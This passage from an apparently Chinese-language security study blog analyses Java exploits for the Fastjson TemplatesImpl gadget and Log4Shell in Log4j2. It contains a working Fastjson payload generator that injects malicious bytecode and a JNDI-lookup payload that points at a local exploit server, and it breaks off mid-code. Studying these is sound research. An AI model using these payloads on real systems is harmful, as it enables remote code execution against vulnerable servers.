\u975e\u9759\u6001\u65b9\u6cd5<\/li>\n\n\n\n<li>[\u2714] \u4ee5get\u5f00\u5934\u4e14\u7b2c4\u4e2a\u5b57\u6bcd\u4e3a\u5927\u5199<\/li>\n\n\n\n<li>[\u2714] \u65e0\u4f20\u5165\u53c2\u6570<\/li>\n\n\n\n<li>[\u2714] \u8fd4\u56de\u503c\u7c7b\u578b\u7ee7\u627f\u81eaCollection Map AtomicBoolean AtomicInteger AtomicLong\uff08\u4e0a\u9762\u4e3e\u4f8b\u7684\u65f6\u5019\u8bf4\u8fc7Properties\u7ee7\u627f\u81eaHashtables\uff0c\u5b9e\u73b0\u4e86Map\uff0c\u6240\u4ee5\u7b26\u5408\uff09<\/li>\n<\/ul>\n\n\n\n<p>\u90a3\u4e48\u4e3a\u4ec0\u4e48\u8fd9\u4e2apoc\u91cc\u7684_bytecodes\u9700\u8981base64\u7f16\u7801\u5462\uff0c\u5f80\u540e\u8ddf\u4e86\u4e00\u4e0b\uff0c\u53d1\u73b0\u662f\u6709\u4e2a\u5730\u65b9\u5728\u5b57\u6bb5\u7684\u503c\u4eceString\u6062\u590d\u6210<code>byte[]<\/code>\uff0c\u4f1a\u7ecf\u8fc7\u4e00\u6b21base64\u89e3\u7801\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-234012-3-9.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-234012-3-9.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u6240\u4ee5\u6211\u4eec\u5e8f\u5217\u5316\u7684\u65f6\u5019\u81ea\u7136\u4e5f\u8981base64\u7f16\u7801\u4e00\u6b21\uff0c\u611f\u89c9\u548c\u4e4b\u524d\u7684\u5dee\u4e0d\u591a\uff0c\u6240\u4ee5\u6211\u62ff\u4e4b\u524d\u7684\u4ee3\u7801\u6539\u4e86\u6539\u81ea\u5df1\u5199\u4e86\u4e2ademo\uff0c\u679c\u7136\u80fd\u6253\u901a\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.fastjson;\n\nimport com.alibaba.fastjson.JSON;\nimport com.alibaba.fastjson.parser.Feature;\nimport com.alibaba.fastjson.parser.ParserConfig;\nimport javassist.ClassPool;\nimport javassist.CtClass;\nimport org.apache.commons.codec.binary.Base64;\n\npublic class Template {\n    public static void main(String&#91;] args) throws Exception {\n        ClassPool pool = ClassPool.getDefault();\n        pool.insertClassPath(\"C:\\\\Users\\\\24254\\\\Desktop\\\\java\u7b14\u8bb0\\\\java-top-speed\\\\src\\\\shiroTest\");\n        CtClass clazzz = pool.get(\"EvilTest\");\n        byte&#91;] evilCode = clazzz.toBytecode();\n        String evilCode_base64 = Base64.encodeBase64String(evilCode);\n        final String NASTY_CLASS = \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\";\n        String text1 = \"{\" +\n                \"\\\"@type\\\":\\\"\" + NASTY_CLASS + \"\\\",\" +\n                \"\\\"_bytecodes\\\":&#91;\\\"\" + evilCode_base64 + \"\\\"],\" +\n                \"'_name':'HelloTemplatesImpl',\" +\n                \"'_tfactory':{ },\" +\n                \"'_outputProperties':{ }\" +\n                \"}\\n\";\n        System.out.println(text1);\n        ParserConfig config = new ParserConfig();\n        JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-234817-3-10.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-234817-3-10.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:730px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u9664\u4e86base64\uff0c\u8fd9\u4e2a\u6211\u4eec\u5728\u4e4b\u524d\u89e3\u91ca\u8fc7\u4e86\uff0c\u662f\u56e0\u4e3aFastjson\u5b58\u5728\u4e00\u6b21\u89e3\u7801\u64cd\u4f5c\uff0c\u548c\u6211\u4eec\u4e4b\u524d\u7684payload\u8fd8\u6709\u4e24\u4e2a\u4e0d\u540c\u7684\u5730\u65b9\uff0c\u4e00\u4e2a\u662f\u8fd9\u91cc\u7528\u4e86<code>_outputProperties<\/code>\u800c\u4e0d\u662f <code>outputProperties<\/code>\uff0c\u867d\u7136\u6211\u8bd5\u4e86\u8bd5\u6ca1\u6709\u5dee\u522b\u8fd8\u662f\u80fd\u6253\u901a\uff1b\u53e6\u4e00\u4e2a\u4e0d\u540c\u7684\u5730\u65b9\u5c31\u662f\u8fd9\u91cc <code>_tfactory<\/code> \u4f20\u4e86\u4e2a\u7a7a\u7684\uff0c\u6211\u4eec\u4e4b\u524d\u90fd\u662f\u8d4b\u503c\u6210<code>new TransformerFactoryImpl()<\/code>\u3002<\/p>\n\n\n\n<p>\u9996\u5148\u6765\u770b\u7b2c\u4e00\u4e2a\u95ee\u9898\uff0c\u8ddf\u4e86\u4e00\u4e0b\uff0c\u5927\u6982\u662f\u89e3\u6790\u7684\u65f6\u5019\u6709\u4e2a\u667a\u80fd\u5339\u914d\u51fd\u6570<code>smartMatch<\/code>\uff0c\u6709\u591a\u667a\u80fd\u5462\uff1f\u6bd4\u5982\u6709\u4e00\u4e2a JSON key \uff0c\u53ef\u80fd\u662f <code>user_name<\/code> \u6216 <code>user-name<\/code>\uff0c\u4ed6\u4f1a\u5c1d\u8bd5\u79fb\u9664\u7b2c\u4e00\u4e2a&#8221;-&#8220;\u548c&#8221;_&#8221;\u540e\u91cd\u65b0\u5339\u914d\u5b57\u6bb5\u540d\u4e14\u5ffd\u7565\u5927\u5c0f\u5199\uff0c\u611f\u89c9\u8fd9\u64cd\u4f5c\u6ca1\u4ec0\u4e48\u5375\u7528\uff0c\u53cd\u800c\u589e\u5927\u4e86\u653b\u51fb\u8005\u7684\u653b\u51fb\u8303\u56f4<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-235234-3-11.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-235234-3-11.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:768px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u56e0\u6b64\u4f60\u5c31\u7b97\u628akey\u6539\u6210 <code>o_utputpRoperties<\/code> \u8fd9\u79cd\u5947\u5947\u602a\u602a\u7684\u4e1c\u897f\u4e5f\u80fd\u6253\u901a\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-235817-3-13.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-235817-3-13.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:681px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u63a5\u7740\u770b\u5230\u7b2c\u4e8c\u4e2a\u95ee\u9898\uff0c\u4e3a\u4ec0\u4e48<code>_tfactory<\/code> \u53ef\u4ee5\u4f20\u4e2a\u7a7a\u7684\uff0c\u76f4\u63a5\u7ed9\u7ed3\u8bba\uff0c\u662f\u56e0\u4e3a\u5f53\u8d4b\u503c\u7684\u503c\u4e3a\u4e00\u4e2a\u7a7a\u7684Object\u5bf9\u8c61\u65f6\uff0c\u4f1a\u65b0\u5efa\u4e00\u4e2a\u9700\u8981\u8d4b\u503c\u7684\u5b57\u6bb5\u5e94\u6709\u7684\u683c\u5f0f\u7684\u65b0\u5bf9\u8c61\u5b9e\u4f8b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-000136-3-14.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-000136-3-14.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:730px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u800c\u8fd9\u4e2a\u683c\u5f0f\u6765\u81ea\u4e8e\u5b9a\u4e49\uff0c\u6bd4\u5982\u6211\u4eec\u77e5\u9053 <code>_tfactory <\/code>\u7684\u5b9a\u4e49\u5176\u5b9e\u662f\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>private transient TransformerFactoryImpl _tfactory = null;<\/code><\/pre>\n\n\n\n<p>\u6240\u4ee5\u8fd9\u91cc\u76f4\u63a5\u597d\u5fc3\u7684\u5e2e\u4f60\u751f\u6210\u4e86\uff0c\u4f20\u4e2a\u7a7a\u7684\u4e5f\u884c\u3002<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">Log4j2<\/h1>\n\n\n\n<p><code>log4j<\/code>\uff08<strong>Log for Java<\/strong>\uff09\u662f\u4e00\u4e2a\u7531 Apache \u5f00\u53d1\u7684\u3001\u529f\u80fd\u5f3a\u5927\u7684 Java \u65e5\u5fd7\u8bb0\u5f55\u6846\u67b6\u3002\u5b83\u5141\u8bb8\u5f00\u53d1\u8005\u7075\u6d3b\u5730\u5c06\u65e5\u5fd7\u8f93\u51fa\u5230\u63a7\u5236\u53f0\u3001\u6587\u4ef6\u3001\u6570\u636e\u5e93\u7b49\u591a\u4e2a\u76ee\u7684\u5730\uff0c\u5e76\u652f\u6301\u65e5\u5fd7\u5206\u7ea7\uff08\u5982 <code>INFO<\/code>, <code>DEBUG<\/code>, <code>ERROR<\/code>\uff09\u6765\u63a7\u5236\u65e5\u5fd7\u7684\u8be6\u7ec6\u7a0b\u5ea6\u3002\u4e00\u53e5\u8bdd\u6982\u62ec\uff0cLog4j \u662f\u4e00\u4e2a\u4e3a Java \u63d0\u4f9b\u7075\u6d3b\u3001\u53ef\u914d\u7f6e\u3001\u652f\u6301\u591a\u79cd\u8f93\u51fa\u76ee\u6807\u548c\u65e5\u5fd7\u7b49\u7ea7\u7684\u65e5\u5fd7\u5e93\u3002<\/p>\n\n\n\n<p>Log4j \u7684\u4e3b\u8981\u7531\u4e09\u90e8\u5206\u7ec4\u6210\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Logger<\/strong>\uff1a\u8d1f\u8d23\u751f\u6210\u65e5\u5fd7\u3002<\/li>\n\n\n\n<li><strong>Appender<\/strong>\uff1a\u65e5\u5fd7\u8f93\u51fa\u4f4d\u7f6e\uff08\u5982\u6587\u4ef6\u3001\u63a7\u5236\u53f0\uff09\u3002<\/li>\n\n\n\n<li><strong>Layout<\/strong>\uff1a\u65e5\u5fd7\u683c\u5f0f\u5316\u65b9\u5f0f\u3002<\/li>\n<\/ul>\n\n\n\n<p>\u8fd9\u91cc\u6211\u4eec\u88c5\u4e00\u4e2a Log4j \u4f9d\u8d56\uff08\u9700\u8981log4j-core-2.14.1.jar\u548clog4j-api-2.14.1.jar\uff09\uff0c\u6765\u5b66\u4e60\u4e00\u4e0b\u8fd9\u4e2a\u4f20\u5947\u7ea7\u7684\u6f0f\u6d1e\u7684\u7531\u6765\u3002<\/p>\n\n\n\n<p>log4j\u9700\u8981\u521b\u5efa\u914d\u7f6e\u6587\u4ef6 log4j2.xml \u6765\u8bbe\u7f6e\u65e5\u5fd7\u7684\u8f93\u51fa\uff0c\u4e00\u822c\u662f\u653e\u5728classpath\uff0c\u4e5f\u5c31\u662fsrc\/\u8fd9\u91cc\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;\n&lt;Configuration status=\"WARN\"&gt;\n  &lt;Appenders&gt;\n    &lt;!-- \u63a7\u5236\u53f0\u8f93\u51fa --&gt;\n    &lt;Console name=\"Console\" target=\"SYSTEM_OUT\"&gt;\n      &lt;PatternLayout pattern=\"&#91;%p] %d{yyyy-MM-dd HH:mm:ss} - %m%n\"\/&gt;\n    &lt;\/Console&gt;\n  &lt;\/Appenders&gt;\n\n  &lt;Loggers&gt;\n    &lt;!-- \u6839\u65e5\u5fd7\u5668 --&gt;\n    &lt;Root level=\"debug\"&gt;\n      &lt;AppenderRef ref=\"Console\"\/&gt;\n    &lt;\/Root&gt;\n  &lt;\/Loggers&gt;\n&lt;\/Configuration&gt;<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u5199\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package log4j;\n\nimport org.apache.logging.log4j.LogManager;\nimport org.apache.logging.log4j.Logger;\n\npublic class Log4j2Demo {\n    \/\/ \u83b7\u53d6 Logger \u5b9e\u4f8b\uff08Log4j2 \u63a8\u8350\u4f7f\u7528 LogManager\uff09\n    private static final Logger logger = LogManager.getLogger(Log4j2Demo.class);\n\n    public static void main(String&#91;] args) {\n        logger.debug(\"\u8fd9\u662f\u8c03\u8bd5\u4fe1\u606f\");\n        logger.info(\"\u8fd9\u662f\u666e\u901a\u4fe1\u606f\");\n        logger.warn(\"\u8fd9\u662f\u8b66\u544a\u4fe1\u606f\");\n        logger.error(\"\u8fd9\u662f\u9519\u8bef\u4fe1\u606f\");\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u8fd0\u884c\u540e\u53ef\u4ee5\u770b\u5230\u63a7\u5236\u53f0\u6309\u7167\u6211\u4eec\u8bbe\u7f6e\u7684\u683c\u5f0f\u8f93\u51fa\u4e86\u65e5\u5fd7<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-163911-4-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-163911-4-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:719px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u90a3\u4e48\u4e3a\u4ec0\u4e48\u8fd9\u4e48\u597d\u7528\u7684\u4e00\u4e2a\u65e5\u5fd7\u5e93\u4f1a\u51fa\u73b0\u8fd9\u4e48\u4e25\u91cd\u7684\u6f0f\u6d1e\u5462\uff1f\u6309\u7167log4shell\u5229\u7528\u7ec6\u8282\u7684\u63cf\u8ff0\uff0c\u653b\u51fb\u8005\u4f7f\u7528&nbsp;<code>${}<\/code>&nbsp;\u5173\u952e\u6807\u8bc6\u7b26\u89e6\u53d1 JNDI \u6ce8\u5165\u6f0f\u6d1e\uff0c\u5f53\u7a0b\u5e8f\u5c06\u7528\u6237\u8f93\u5165\u7684\u6570\u636e\u8fdb\u884c\u65e5\u5fd7\u8bb0\u5f55\u65f6\uff0c\u5373\u53ef\u89e6\u53d1\u6b64\u6f0f\u6d1e\uff0c\u6210\u529f\u5229\u7528\u6b64\u6f0f\u6d1e\u53ef\u4ee5\u5728\u76ee\u6807\u670d\u52a1\u5668\u4e0a\u6267\u884c\u4efb\u610f\u4ee3\u7801\u3002<\/p>\n\n\n\n<p>\u5728 Log4j2 \u4e2d\u63d0\u4f9b\u7684\u4f17\u591a\u7279\u6027\u4e2d\uff0c\u5176\u4e2d\u4e00\u4e2a\u5c31\u662f Property Support\u3002\u8fd9\u4e2a\u7279\u6027\u8ba9\u4f7f\u7528\u8005\u53ef\u4ee5\u5f15\u7528\u914d\u7f6e\u4e2d\u7684\u5c5e\u6027\uff0c\u6216\u4f20\u9012\u7ed9\u5e95\u5c42\u7ec4\u4ef6\u5e76\u52a8\u6001\u89e3\u6790\u3002\u8fd9\u4e9b\u5c5e\u6027\u6765\u81ea\u4e8e\u914d\u7f6e\u6587\u4ef6\u4e2d\u5b9a\u4e49\u7684\u503c\u3001\u7cfb\u7edf\u5c5e\u6027\u3001\u73af\u5883\u53d8\u91cf\u3001ThreadContext\u3001\u548c\u4e8b\u4ef6\u4e2d\u5b58\u5728\u7684\u6570\u636e\uff0c\u7528\u6237\u4e5f\u53ef\u4ee5\u63d0\u4f9b\u81ea\u5b9a\u4e49\u7684 Lookup \u7ec4\u4ef6\u6765\u914d\u7f6e\u81ea\u5b9a\u4e49\u7684\u503c\u3002\u8fd9\u4e2a Lookup &amp; Substitution \u7684\u8fc7\u7a0b\uff0c\u5c31\u662f\u672c\u6b21\u6f0f\u6d1e\u7684\u5173\u952e\u70b9\u3002\u63d0\u4f9b Lookup \u529f\u80fd\u7684\u7ec4\u4ef6\u9700\u8981\u5b9e\u73b0&nbsp;<code>org.apache.logging.log4j.core.lookup.StrLookup<\/code>&nbsp;\u63a5\u53e3\uff0c\u5e76\u901a\u8fc7\u914d\u7f6e\u6587\u4ef6\u8fdb\u884c\u8bbe\u7f6e\uff0c\u800c Lookup \u652f\u6301jndi\uff0c\u8fd9\u5c31\u6210\u4e3a\u4e86\u672c\u6b21\u6f0f\u6d1e\u7684\u89e6\u53d1\u70b9\u3002<\/p>\n\n\n\n<p>\u672c\u5730\u590d\u73b0\u8d77\u6765\u6781\u4e3a\u7b80\u5355\uff0c\u9996\u5148\u7528 JNDIExploit-1.4-SNAPSHOT.jar \u8d77\u4e00\u4e2a\u6076\u610fjndi\u670d\u52a1\uff0c\u7136\u540e\u7528 <code>logger.info<\/code> \u8bb0\u5f55\u6211\u4eec\u7684\u6076\u610fpayload\u5373\u53ef\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package log4j;\n\nimport org.apache.logging.log4j.LogManager;\nimport org.apache.logging.log4j.Logger;\n\npublic class log4j_vul {\n    static Logger logger = LogManager.getLogger();\n\n    public static void main(String&#91;] args) {\n        \/\/\u7528input\u5c40\u90e8\u53d8\u91cf\u6765\u6a21\u62df\u5165\u4fb5\u8005\u8f93\u5165\u7684\u5185\u5bb9\n        String input = \"${jndi:ldap:\/\/127.0.0.1:1389\/Basic\/Command\/calc.exe}\";\n        \/\/\u8fd9\u91cc\u76f4\u63a5\u7528log4j\u8f93\u5165\n        logger.error(input);\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-165144-4-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-165144-4-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:725px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u6b63\u56e0\u4e3a\u89e6\u53d1\u8d77\u6765\u7b80\u5355\uff0c\u66f4\u8bc1\u660e\u4e86\u8fd9\u4e2a\u6f0f\u6d1e\u7684\u5371\u5bb3\u4e4b\u5927\u3002<\/p>\n\n\n\n<p>\u9996\u5148\uff0cLog4j2 \u4f7f\u7528&nbsp;<code>org.apache.logging.log4j.core.pattern.MessagePatternConverter<\/code>&nbsp;\u6765\u5bf9\u65e5\u5fd7\u6d88\u606f\u8fdb\u884c\u5904\u7406\uff0c\u5728\u5b9e\u4f8b\u5316 MessagePatternConverter \u65f6\u4f1a\u4ece Properties \u53ca Options \u4e2d\u83b7\u53d6\u914d\u7f6e\u6765\u5224\u65ad\u662f\u5426\u9700\u8981\u63d0\u4f9b Lookups \u529f\u80fd\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-165524-4-3.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-165524-4-3.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:770px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u6211\u4eec\u53ef\u4ee5\u770b\u5230\u662f\u5426\u5f00\u542flookup\u662f\u6765\u81ea\u8fd9\u884c <code>Constants.FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS || noLookupsIdx &gt;= 0<\/code>\uff0c\u800c\u8fd9\u4e2a\u503c\u9ed8\u8ba4\u662f false\uff0c\u56e0\u6b64nolooksup\u9ed8\u8ba4\u662ffalse\uff0c\u4e5f\u5c31\u662f\u8bf4lookups\u9ed8\u8ba4\u5f00\u542f\u4e86\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-165736-4-4.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-165736-4-4.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u5728\u83b7\u53d6\u4fe1\u606f\u540e\uff0clog4j\u4f1a\u5bf9\u4fe1\u606f\u8fdb\u884c\u4e00\u6b21format\uff0c\u4e5f\u5c31\u662f\u683c\u5f0f\u5316<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-170334-4-5.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-170334-4-5.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u5173\u952e\u70b9\u5728<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>if (this.config != null &amp;&amp; !this.noLookups) {\n                for(int i = offset; i &lt; workingBuilder.length() - 1; ++i) {\n                    if (workingBuilder.charAt(i) == '$' &amp;&amp; workingBuilder.charAt(i + 1) == '{') {\n                        String value = workingBuilder.substring(offset, workingBuilder.length());\n                        workingBuilder.setLength(offset);\n                        workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));\n                    }\n                